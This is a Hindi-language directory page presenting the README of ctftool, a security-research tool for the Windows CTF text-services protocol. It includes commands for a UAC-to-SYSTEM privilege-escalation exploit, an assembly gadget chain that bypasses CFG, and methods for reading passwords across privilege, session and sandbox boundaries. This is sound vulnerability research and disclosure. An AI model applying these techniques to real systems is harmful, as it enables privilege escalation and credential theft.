Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ctftool — इंटरैक्टिव CTF अन्वेषण टूल | Kitploit
उपकरण/GitHubGitHub/taviso/ctftool
शोषण फ्रेमवर्कफज़िंगपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाबाइनरी शोषण
GitHubtaviso/ctftool

ctftool

इंटरैक्टिव CTF अन्वेषण टूल

रिपॉजिटरी देखें
1.7k2634 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CTFTOOL

बस SYSTEM शोषण का परीक्षण करना चाहते हैं? यहाँ क्लिक करें.

Video of Exploit

एक इंटरैक्टिव CTF अन्वेषण उपकरण

यह ctftool है, एक इंटरैक्टिव कमांड लाइन उपकरण जो CTF के साथ प्रयोग करने के लिए है, जो विंडोज पर टेक्स्ट सेवाओं को लागू करने के लिए उपयोग किया जाने वाला एक कम-ज्ञात प्रोटोकॉल है। यह विंडोज आंतरिक का अध्ययन करने, टेक्स्ट इनपुट प्रोसेसर के साथ जटिल मुद्दों को डीबग करने और विंडोज सुरक्षा का विश्लेषण करने के लिए उपयोगी हो सकता है।

ctftool के साथ सरल स्क्रिप्ट लिखना संभव है जो CTF क्लाइंट या सर्वर के साथ स्वचालित रूप से इंटरैक्ट कर सकते हैं, या सरल फ़ज़िंग कर सकते हैं।

पृष्ठभूमि

इस उपकरण के रिलीज़ के साथ एक ब्लॉग पोस्ट है जो यहाँ उपलब्ध है।

https://googleprojectzero.blogspot.com/2019/08/down-rabbit-hole.html

उपयोग

ctftool का परीक्षण विंडोज 7, विंडोज 8 और विंडोज 10 पर किया गया है। 32-बिट और x64 दोनों संस्करण समर्थित हैं, लेकिन x64 का अधिक व्यापक परीक्षण किया गया है।

अधिकांश कमांड के लिए ऑनलाइन सहायता उपलब्ध है, बस help टाइप करें कमांड की सूची देखने के लिए, और किसी विशिष्ट कमांड के लिए विस्तृत सहायता देखने के लिए help <command> टाइप करें।

root@kitploit:~
$ ./ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help
Type `help <command>` for help with a specific command.
Any line beginning with # is considered a comment.

help            - List available commands.
exit            - Exit the shell.
connect         - Connect to CTF ALPC Port.
info            - Query server informaiton.
scan            - Enumerate connected clients.
callstub        - Ask a client to invoke a function.
createstub      - Ask a client to instantiate CLSID.
hijack          - Attempt to hijack an ALPC server path.
sendinput       - Send keystrokes to thread.
setarg          - Marshal a parameter.
getarg          - Unmarshal a parameter.
wait            - Wait for a process and set it as the default thread.
thread          - Set the default thread.
sleep           - Sleep for specified milliseconds.
forget          - Forget all known stubs.
stack           - Print the last leaked stack ptr.
marshal         - Send command with marshalled parameters.
proxy           - Send command with proxy parameters.
call            - Send command without appended data.
window          - Create and register a message window.
patch           - Patch a marshalled parameter.
module          - Print the base address of a module.
module64        - Print the base address of a 64bit module.
editarg         - Change the type of a marshalled parameter.
symbol          - Lookup a symbol offset from ImageBase.
set             - Change or dump various ctftool parameters.
show            - Show the value of special variables you can use.
lock            - Lock the workstation, switch to Winlogon desktop.
repeat          - Repeat a command multiple times.
run             - Run a command.
script          - Source a script file.
print           - Print a string.
consent         - Invoke the UAC consent dialog.
reg             - Lookup a DWORD in the registry.
gadget          - Find the offset of a pattern in a file.
section         - Lookup property of PE section.
Most commands require a connection, see "help connect".
ctf>

पहली चीज़ जो आप करना चाहेंगे वह है एक सत्र से कनेक्ट करना और देखना कि कौन से क्लाइंट कनेक्टेड हैं।

root@kitploit:~
ctf> connect
The ctf server port is located at \BaseNamedObjects\msctf.serverDefault1
NtAlpcConnectPort("\BaseNamedObjects\msctf.serverDefault1") => 0
Connected to CTF server@\BaseNamedObjects\msctf.serverDefault1, Handle 00000264
ctf> scan
Client 0, Tid 3400 (Flags 0x08, Hwnd 00000D48, Pid 8696, explorer.exe)
Client 1, Tid 7692 (Flags 0x08, Hwnd 00001E0C, Pid 8696, explorer.exe)
Client 2, Tid 9424 (Flags 0x0c, Hwnd 000024D0, Pid 9344, SearchUI.exe)
Client 3, Tid 12068 (Flags 0x08, Hwnd 00002F24, Pid 12156, PROCEXP64.exe)
Client 4, Tid 9740 (Flags 0000, Hwnd 0000260C, Pid 3840, ctfmon.exe)

इसके बाद आप सर्वर या किसी भी कनेक्टेड क्लाइंट को कमांड भेजकर और प्राप्त करके प्रयोग कर सकते हैं।

निर्माण

यदि आप इसे स्वयं नहीं बनाना चाहते, तो रिलीज़ टैब देखें

मैंने ctftool विकसित करने के लिए GNU make और Visual Studio 2019 का उपयोग किया। केवल 32-बिट बिल्ड समर्थित हैं, क्योंकि यह उपकरण को x86 और x64 विंडोज पर चलाने की अनुमति देता है।

यदि सभी निर्भरताएं स्थापित हैं, तो डेवलपर कमांड प्रॉम्प्ट में बस make टाइप करना पर्याप्त होना चाहिए।

मैं विजुअल स्टूडियो के "बिल्ड टूल्स" वेरिएंट का उपयोग करता हूं, और मेरे द्वारा चुने गए एकमात्र घटक MSVC, MSBuild, CMake और SDK हैं।

यह प्रोजेक्ट कुछ निर्भरताओं के लिए सबमॉड्यूल का उपयोग करता है, सुनिश्चित करें कि आप सभी आवश्यक कोड लाने के लिए इस तरह के कमांड का उपयोग कर रहे हैं।

root@kitploit:~
git submodule update --init --recursive

शोषण

उदाहरण केवल विंडोज 10 x64 पर काम करते हैं। विंडोज एक्सपी के बाद के सभी प्लेटफॉर्म और संस्करण प्रभावित हैं, लेकिन वर्तमान में कोई PoC लागू नहीं है।

इस उपकरण का उपयोग CTF प्रोटोकॉल में कई गंभीर सुरक्षा समस्याओं की खोज के लिए किया गया था जो दशकों से मौजूद हैं।

यदि आप केवल विंडोज 10 x64 1903 पर एक शोषण का परीक्षण करना चाहते हैं, तो ctftool.exe चलाएं या डबल-क्लिक करें और यह कमांड दर्ज करें:

root@kitploit:~
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> script .\scripts\ctf-consent-system.ctf

यह UAC डायलॉग प्रकट होने तक प्रतीक्षा करेगा, इसे समझौता करेगा और एक शेल शुरू करेगा।

वास्तव में, शोषण कोड दो चरणों में विभाजित है जिसका आप स्वतंत्र रूप से उपयोग कर सकते हैं। उदाहरण के लिए, आप connect के वैकल्पिक पैरामीटर का उपयोग करके किसी भिन्न सत्र पर किसी उपयोगकर्ता से संबंधित प्रक्रिया से समझौता करना चाह सकते हैं।

अधिकांश CTF क्लाइंट से समझौता किया जा सकता है, क्योंकि कर्नेल उन अनुप्रयोगों को मजबूर करता है जो विंडो खींचते हैं, कमजोर लाइब्रेरी लोड करने के लिए।

बस एक सत्र से कनेक्ट करें, समझौता करने के लिए एक क्लाइंट चुनें (scan और thread कमांड का उपयोग करें, या बस wait), फिर:

root@kitploit:~
ctf> script .\scripts\ctf-exploit-common-win10.ctf

शोषण नोट्स

एक CFG जंप चेन बनाना जो अधिकांश CTF क्लाइंट पर काम करता था, काफी चुनौतीपूर्ण था। अंतिम शोषण के दो प्राथमिक घटक हैं, एक मनमाना लेखन आदिम और फिर LoadLibrary() को कॉल करने के लिए हमारे रजिस्टरों को सेट करना।

आप श्वेतसूचीबद्ध शाखा लक्ष्यों को डंप करने के लिए dumpbin /headers /loadconfig का उपयोग कर सकते हैं।

मनमाना लेखन

मुझे एक पूर्वानुमेय स्थान पर ऑब्जेक्ट बनाने के लिए एक मनमाना लेखन गैजेट की आवश्यकता थी। सबसे अच्छा उपयोगी गैजेट जो मुझे मिल सका वह msvcrt!_init_time में एक मनमाना dword घटाव था।

इसका मतलब है कि केवल वांछित मान सेट करने के बजाय, हमें तब तक घटाना जारी रखना होगा जब तक कि LSB वांछित मान तक नहीं पहुंच जाता। यह बहुत काम है, लेकिन हमें कभी भी (2^8 - 1) * len से अधिक घटाना नहीं पड़ता।

Decrement Write

इस आदिम का उपयोग करके, मैं kernel32 .data सेक्शन में कुछ अप्रयुक्त स्लैक स्पेस में ऐसा ऑब्जेक्ट बनाता हूं। इसे एक इमेज का हिस्सा होना चाहिए ताकि मैं अनुमान लगा सकूं कि यह कहां मैप किया जाएगा, क्योंकि इमेज रैंडमाइजेशन विंडोज पर प्रति-बूट है।

Object Layout

बेशक मनमाना लेखन गैजेट्स के बहुत सारे थे, समस्या लेखन के बाद निष्पादन पर नियंत्रण पुनः प्राप्त करना था। यह काफी चुनौतीपूर्ण साबित हुआ, और यही कारण है कि मैं किसी सरल चीज़ के बजाय dword घटाव के साथ अटका हुआ था।

MSCTF सभी अपवादों को पकड़ लेता है, इसलिए चुनौती एक ऐसा मनमाना लेखन ढूंढना था जो स्टैक को खराब न करे ताकि SEH बच जाए, या बिना कोई नुकसान पहुंचाए बहुत जल्दी क्रैश हो जाए।

msvcrt!_init_time गैजेट सबसे अच्छा था जो मैं ढूंढ सका, कुछ निर्देशों के भीतर यह NULL को डीरेफरेंस करता है बिना और मेमोरी को भ्रष्ट किए। इसका मतलब है कि हम इसे अनंत बार दोहरा सकते हैं।

निष्पादन को रीडायरेक्ट करना

मुझे रजिस्टरों को समायोजित करने के लिए दो उपयोगी गैजेट मिले, पहला था:

root@kitploit:~
combase!CStdProxyBuffer_CF_AddRef:
      mov     rcx,qword ptr [rcx-38h]
      mov     rax,qword ptr [rcx]    
      mov     rax,qword ptr [rax+8]  
      jmp     qword ptr [combase!__guard_dispatch_icall_fptr]

और दूसरा था:

root@kitploit:~
MSCTF!CCompartmentEventSink::OnChange:
      mov     rax,qword ptr [rcx+30h]
      mov     rcx,qword ptr [rcx+38h]
      jmp     qword ptr [MSCTF!_guard_dispatch_icall_fptr]

इन दो गैजेट्स को हमारे लेखन गैजेट से बने ऑब्जेक्ट के साथ जोड़कर, हम उनके बीच उछलकर निष्पादन को kernel32!LoadLibraryA पर रीडायरेक्ट कर सकते हैं।

यह जटिल था, लेकिन जंप अनुक्रम इस प्रकार काम करता है:

Exploit Chain Sequence

यदि आप रुचि रखते हैं, तो मैं डीबगर में इसे देखने की सलाह देता हूं। ध्यान दें कि आपको कमांड sxd av और sxd bpe का उपयोग करना होगा अन्यथा डीबगर हर लेखन के लिए रुक जाएगा!

एडिट सत्र हमले

मेमोरी भ्रष्टाचार के अलावा, CTF द्वारा उजागर किए गए एक प्रमुख भेद्यता वर्ग एडिट सत्र हमले हैं। सामान्यतः, एक विशेषाधिकारहीन प्रक्रिया (उदाहरण के लिए, निम्न अखंडता) को उच्च विशेषाधिकार प्राप्त प्रक्रिया से इनपुट भेजने या डेटा पढ़ने की अनुमति नहीं होती। इस सुरक्षा सीमा को UIPI, यूज़र इंटरफ़ेस प्रिविलेज आइसोलेशन कहा जाता है।

CTF इन मान्यताओं को तोड़ता है, और विशेषाधिकारहीन प्रक्रियाओं को विशेषाधिकार प्राप्त प्रक्रियाओं को इनपुट भेजने की अनुमति देता है।

इस हमले के काम करने के लिए कुछ आवश्यकताएं हैं, जहां तक मुझे पता है, यह केवल तभी काम करेगा यदि आपके पास एक डिस्प्ले भाषा स्थापित है जो OoP TIP, आउट-ऑफ-प्रोसेस टेक्स्ट इनपुट प्रोसेसर का उपयोग करती है। जिन उपयोगकर्ताओं के पास IME (चीनी, जापानी, कोरियाई, आदि) का उपयोग करने वाली इनपुट भाषाएं हैं और a11y टूल्स वाले उपयोगकर्ता इस श्रेणी में आते हैं।

उदाहरण हमलों में शामिल हैं...

  • एक उन्नत कमांड विंडो को कमांड भेजना।
  • डायलॉग या लॉगिन स्क्रीन से पासवर्ड पढ़ना।
  • IL/AppContainer सैंडबॉक्स से बचकर अनसैंडबॉक्स्ड विंडो को इनपुट भेजना।

स्क्रिप्ट्स निर्देशिका में एक उदाहरण स्क्रिप्ट है जो एक नोटपैड विंडो को इनपुट भेजेगा ताकि यह प्रदर्शित किया जा सके कि एडिट सत्र कैसे काम करते हैं।

Edit Session Screenshot

मॉनिटर अपहरण

चूंकि CTF प्रोटोकॉल में क्लाइंट और सर्वर के बीच कोई प्रमाणीकरण शामिल नहीं है, एक हमलावर जिसके पास \BaseNamedObjects में लिखने के लिए आवश्यक विशेषाधिकार हैं, वह CTF ALPC पोर्ट बना सकता है और मॉनिटर होने का दिखावा कर सकता है।

यह मॉनिटर द्वारा लागू किसी भी और सभी प्रतिबंधों को बायपास करने की अनुमति देता है।

यदि आप इस हमले के साथ प्रयोग करना चाहते हैं, तो ctftool में hijack कमांड आज़माएं।

root@kitploit:~
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
ctf> hijack Default 1
NtAlpcCreatePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00  ..0.. ......D...
000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00  .....f......D...
000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05  ............ ...
A a message received
        ProcessID: 4352, SearchUI.exe
        ThreadId: 4420
        WindowID: 00020180
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00  ..0.. ..........
000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00  .y...f..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00  ................
A a message received
        ProcessID: 4012, explorer.exe
        ThreadId: 780
        WindowID: 00010110
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00  ..0.. ..........
000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00  ....*g..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00  ............X...
A a message received
        ProcessID: 4012, explorer.exe
        ThreadId: 780
...

क्रॉस सत्र हमले

CTF प्रोटोकॉल में कोई सत्र अलगाव नहीं है, कोई भी प्रक्रिया किसी भी CTF सर्वर से कनेक्ट हो सकती है। उदाहरण के लिए, एक टर्मिनल सेवाओं का उपयोगकर्ता किसी अन्य उपयोगकर्ता की प्रक्रियाओं के साथ बातचीत कर सकता है, यहाँ तक कि प्रशासक के साथ भी।

ctftool में connect कमांड गैर-डिफ़ॉल्ट सत्रों से कनेक्ट करने का समर्थन करता है यदि आप इस हमले के साथ प्रयोग करना चाहते हैं।

root@kitploit:~
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help connect
Connect to CTF ALPC Port.

Usage: connect [DESKTOPNAME SESSIONID]
Without any parameters, connect to the ctf monitor for the current
desktop and session. All subsequent commands will use this connection
for communicating with the ctf monitor.

If a connection is already open, the existing connection is closed first.

If DESKTOPNAME and SESSIONID are specified, a connection to ctf monitor
for another desktop and session are opened, if it exists.
If the specified port does not exist, wait until it does exist. This is
so that you can wait for a session that hasn't started
yet in a script.
Examples
 Connect to the monitor for current desktop
  ctf> connect
 Connect to a specific desktop and session.
  ctf> connect Default 1
Most commands require a connection, see "help connect".

स्थिति

लेखन के समय, यह अज्ञात है कि Microsoft इस उपकरण द्वारा उजागर किए गए असंख्य डिज़ाइन दोषों के जवाब में CTF प्रोटोकॉल को कैसे बदलेगा।

इस कारण से, इस उपकरण को प्रूफ-ऑफ-कॉन्सेप्ट स्थिति में मानें।

समर्थित संस्करण और प्लेटफॉर्म

विंडोज एक्सपी के बाद से विंडोज के सभी संस्करण CTF का उपयोग करते हैं, सभी समर्थित प्लेटफॉर्म पर।

हालांकि एक्सपी तक बेस सिस्टम का हिस्सा नहीं था, विंडोज 98 और NT4 जैसे पुराने संस्करण CTF का उपयोग करेंगे यदि आप Microsoft Office स्थापित करते हैं।

ctftool विंडोज 7 और बाद के संस्करणों को x86 और x64 पर समर्थन करता है, लेकिन पुराने संस्करणों और अन्य प्लेटफॉर्म को समर्थित किया जा सकता है, और योगदान की सराहना की जाएगी।

परिवर्णी शब्द

Microsoft यह दस्तावेज़ित नहीं करता कि CTF का मतलब क्या है, यह टेक्स्ट सेवाओं के किसी भी दस्तावेज़ीकरण, SDK नमूने, प्रतीक नाम, हेडर फ़ाइलों या कहीं और समझाया नहीं गया है। मेरा सिद्धांत यह है कि यह CTextFramework से है, जिसे आप हंगेरियन नोटेशन में क्लास का नाम दे सकते हैं।

कुछ वेबसाइटें हैं जो दावा करती हैं कि ctfmon का Clear Type Fonts या Azure Collaborative Translation Framework से कुछ लेना-देना है। वे गलत हैं।

अपडेट: जेक नेल्सन को "कॉमन टेक्स्ट फ्रेमवर्क" के लिए सबूत मिलते हैं।

लेखक

टैविस ओरमैंडी [email protected]

लाइसेंस

सभी मूल कोड Apache 2.0 है, विवरण के लिए LICENSE फ़ाइल देखें।

निम्नलिखित घटक आयातित तृतीय-पक्ष प्रोजेक्ट हैं।

  • pe-parse, एंड्रयू रूफ एट अल. द्वारा।
    • pe-parse का उपयोग 32-बिट प्रक्रिया से 64-बिट मॉड्यूल के लिए GetProcAddress() लागू करने के लिए किया जाता है। इसका उपयोग symbol कमांड में किया जाता है, और यह उसी बाइनरी को x64 और x86 पर काम करने की अनुमति देता है।
  • wineditline, पाओलो टॉस्को द्वारा।
    • wineditline का उपयोग उपयोगकर्ता के अनुकूल कमांड-लाइन इनपुट और इतिहास संपादन को लागू करने के लिए किया जाता है।
  • dynamorio, डेरेक ब्रुएनिंग एट अल. द्वारा।
    • मैंने DR से कुछ प्रोटोटाइप और प्रकार परिभाषाएं उधार लीं।
  • ntdll.h, लाडिस्लाव ज़ेज़ुला द्वारा।
    • लाडिस्लाव ने विभिन्न WDK, DDK, SDK रिलीज़ से कुछ संरचना परिभाषाएं और प्रोटोटाइप एक सुविधाजनक फ़ाइल में एकत्र किए।
टूल डाउनलोड करें